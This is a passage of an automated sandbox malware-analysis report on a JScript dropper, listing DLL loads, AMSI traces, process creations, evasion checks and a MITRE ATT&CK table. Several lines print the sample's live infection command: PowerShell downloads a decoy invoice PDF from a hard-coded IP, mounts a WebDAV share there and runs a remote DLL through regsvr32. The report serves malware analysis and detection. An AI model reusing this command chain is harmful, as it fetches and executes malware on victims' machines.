Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8239.js.csv");ITextStream.WriteLine(" entry:7715 f:hwemeg");ITextStream.WriteLine(" exec:2 f:hwemeg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49727

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5267			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4583			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8188	Thread sleep count: 5267 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8188	Thread sleep count: 4583 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 372	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2112	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 0000000E.00000002.2574493002.0000018671E2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 0000000C.00000002.1342845175.0000023934988000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1342845175.00000239349ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2575578152.000001867725A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1342845175.00000239349ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
